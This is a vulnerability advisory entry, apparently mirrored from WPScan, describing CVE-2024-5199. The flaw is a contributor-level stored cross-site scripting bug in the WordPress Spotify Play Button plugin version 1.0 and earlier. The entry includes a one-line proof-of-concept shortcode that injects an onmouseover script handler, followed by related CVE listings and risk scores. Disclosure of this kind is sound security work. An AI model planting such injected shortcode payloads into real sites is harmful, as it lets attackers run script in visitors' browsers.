Lucene search
Bob MatyasWPVDB-ID:A2CB8D7D-6D7C-42E9-B3DB-CB3959BFD41BHistoryJun 05, 2024 - 12:00 a.m.
Spotify Play Button <= 1.0 - Contributor+ Stored XSS
2024-06-0500:00:00
Bob Matyas
wpscan.com
2
spotify play button
plugin security
stored xss
contributor role
Description The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.
PoC
[spotify-play src=“spotify:track:1PP5EnZyE465gO0XNDcW9D” width=“100” height=‘50" onmouseover=“alert(/XSS/)”’]
Related
cvelist
cvelist
CVE-2024-5199 Spotify Play Button <= 1.0 - Contributor+ Stored XSS
2024-06-26 06:00:04
nvd
nvd
CVE-2024-5199
2024-06-26 06:15:16
wpexploit
wpexploit
Spotify Play Button <= 1.0 - Contributor+ Stored XSS
2024-06-05 00:00:00
vulnrichment
vulnrichment
CVE-2024-5199 Spotify Play Button <= 1.0 - Contributor+ Stored XSS
2024-06-26 06:00:04
cve
cve
CVE-2024-5199
2024-06-26 06:15:16
5.7 Medium
AI Score
Confidence
High
0.0004 Low
EPSS
Percentile
9.1%
Related for WPVDB-ID:A2CB8D7D-6D7C-42E9-B3DB-CB3959BFD41B